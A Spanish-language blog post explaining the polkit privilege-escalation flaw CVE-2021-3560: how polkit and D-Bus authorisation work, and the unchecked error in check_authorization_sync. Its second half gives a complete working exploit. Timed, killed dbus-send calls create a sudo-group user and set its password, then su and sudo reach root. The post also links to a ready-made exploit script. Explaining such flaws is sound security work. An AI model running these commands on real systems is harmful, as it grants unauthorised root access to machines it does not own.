Escalado de privilegios mediante Polkit (CVE-2021-3560) hackplayers

Tabla de contenido

polkit es un servicio del sistema instalado de forma predeterminada en muchas distribuciones de Linux. Si queremos hacer algo que requiera mayores privilegios, por ejemplo, crear una nueva cuenta de usuario, entonces es el trabajo de polkit es decidir si se permite o no hacerlo. Para algunas solicitudes, polkit tomará una decisión instantánea para permitir o denegar, y para otras, aparecerá un cuadro de diálogo para que un administrador pueda otorgar autorización ingresando su contraseña. Por ejemplo:

pkexec reboot

polkit es en realidad es un proceso en segundo plano. El cuadro de diálogo se conoce como agente de autenticación y es solo un mecanismo para enviar la contraseña a polkit. Es decir, podemos utilizar polkit independientemente de que tengamos entorno gráfico:

$ pkexec reboot
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/usr/sbin/reboot' as the super user
Authenticating as: joe,,, (joe)
Password:

Como veis pkexec es un comando bastante similar a sudo, que permite ejecutar un comando como root.

Otro comando que se puede usar para activar polkit desde la línea de comandos es dbus-send. Es una herramienta de propósito general para enviar mensajes D-Bus que generalmente se instala de manera predeterminada en los sistemas. Se puede utilizar para simular los mensajes D-Bus que podría enviar la interfaz gráfica. Por ejemplo, este es el comando para crear un nuevo usuario:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:usuario1 string:"Usuario de prueba" int32:1

¿Qué es lo que ha pasado exactamente con este comando? Pues veamos en detalle cada uno de los pasos:

  1. dbus-send solicita al proceso accounts-daemon que cree un nuevo usuario.
  2. accounts-daemon recibe el mensaje D-Bus de dbus-send. El mensaje incluye el nombre de bus exclusivo del remitente. Supongamos que es «:1,96». Este nombre se adjunta al mensaje mediante dbus-daemon y no se puede falsificar.
  3. accounts-daemon pregunta a polkit si la conexión «:1,96» está autorizada para crear un nuevo usuario.
  4. polkit solicita a dbus-daemon el UID de la conexión: 1,96.
  5. Si el UID de la conexión: 1,96 es «0», entonces polkit autoriza inmediatamente la solicitud. De lo contrario, envía al agente de autenticación una lista de usuarios administradores que pueden autorizar la solicitud.
  6. El agente de autenticación abre un cuadro de diálogo para obtener la contraseña del usuario.
  7. El agente de autenticación envía la contraseña a polkit.
  8. polkit envía una respuesta «sí» a accounts-daemon.
  9. accounts-daemon crea la nueva cuenta de usuario.

CVE-2021-3560
La vulnerabilidad que os traemos hoy se introdujo hace 7 años en el commit bfa5036 con la versión 0.113 de polkit y se desencadena al iniciar un comando dbus-send y matarlo mientras polkit todavía está procesando la solicitud.

¿Por qué la eliminación del comando dbus-send provoca un bypass de la autenticación? La vulnerabilidad se encuentra en el paso cuatro de la secuencia de eventos enumerados anteriormente. Veamos en detalle…

¿Qué sucede si polkit le pide a dbus-daemon el UID de la conexión: 1,96, pero la conexión 1,96 ya no existe? dbus-daemon maneja esa situación correctamente y devuelve un error. Pero resulta que polkit no maneja ese error correctamente. De hecho, polkit maneja mal el error de una manera particularmente desafortunada: en lugar de rechazar la solicitud, la trata como si proviniera de un proceso con UID 0. En otras palabras, autoriza inmediatamente la solicitud porque cree que la solicitud ha llegado de un proceso raíz.

Eso sí, para explotarlo debemos provocar esa acción en repetidas ocasiones porque resulta que polkit le pide a dbus-daemon el UID del proceso solicitante varias veces en diferentes rutas de código. La mayoría de esas rutas de código manejan el error correctamente, pero no una de ellas no. Concretamente ente en check_authorization_sync:

/* every subject has a user; this is supplied by the client, so we rely * on the caller to validate its acceptability. */
user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor, subject, NULL, error);
if (user_of_subject == NULL) goto out; /* special case: uid 0, root, is _always_ authorized for anything */
if (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0) { result = polkit_authorization_result_new (TRUE, FALSE, NULL); goto out; }

Fijaros que no se comprueba el valor error.

Por lo tanto si vamos cancelando repetidamente el comando dbus-send debemos «caer» en esa ruta de código vulnerable, es decir, hacerlo en el momento adecuado. Y debido a que hay múltiples procesos involucrados, la sincronización de ese «momento adecuado» varía de una ejecución a la siguiente. Es por eso que generalmente se necesitan algunos intentos para que el exploit tenga éxito. Supongo que también es la razón por la que el error no se descubrió anteriormente después de 7 años.

Explotación
Primero, vamos a medir cuánto tiempo lleva ejecutar el comando dbus-send normalmente:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:usuario1 string:"Usuario de prueba" int32:1

La salida en mi caso es:

Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required real 0m0.014s
user 0m0.003s
sys 0m0.000s

Es decir, en esta ocasión tardó 14 milisegundos, por lo que significa que se necesita eliminar el comando dbus-send después de aproximadamente 7 milisegundos:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:usuario1 string:"Usuario de prueba" int32:1 & sleep 0.007s ; kill $!

Si ejecutamos eso varias veces el exploit probablemente tenga éxito y veremos que se ha creado un nuevo usuario llamado usuario1:

$ id usuario1
uid=1001(usuario1) gid=1001(usuario1) groups=1001(usuario1),27(sudo)

Tened en cuenta que usuario1 es miembro del grupo sudo, por lo que ya estamos en el camino correcto hacia la escalada completa de privilegios. A continuación, debemos establecer una contraseña para la nueva cuenta. La interfaz de D-Bus espera una contraseña a modo de hash, que se puede crear usando openssl:

$ openssl passwd -5 Password123!
$5$CxOCc/.K0lkJRUKM$GVNrqiondDvRnwBa9zypClJTItougAX3RlgzoFyHKk1

Ahora solo tenemos que hacer el mismo truco nuevamente, excepto que esta vez llamamos al método SetPassword de D-Bus:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1001 org.freedesktop.Accounts.User.SetPassword string:'$5$CxOCc/.K0lkJRUKM$GVNrqiondDvRnwBa9zypClJTItougAX3RlgzoFyHKk1' string:usuario1 & sleep 0.008s ; kill $!

Nuevamente, es posible que debamos probar con los tiempos y ejecutarlo varias veces hasta que tengamos éxito.

Ahora puede iniciar sesión como usuario1 y entrar como root:

su - usuario1
sudo su
uid=0(root) gid=0(root) groups=0(root)

Fuente: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

Script para vagos:  https://github.com/swapravo/polkadots/blob/main/polkadots

Fuente obtenida de: https://www.hackplayers.com/2021/06/escalado-de-privilegios-mediante-polkit.html

INFORMACION DEL PUBLICADOR
Picture of Kamal Majaiti
Kamal Majaiti
Administrador de sistemas e informático por vocación.
COMPARTELO EN REDES
Publica un comentario

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.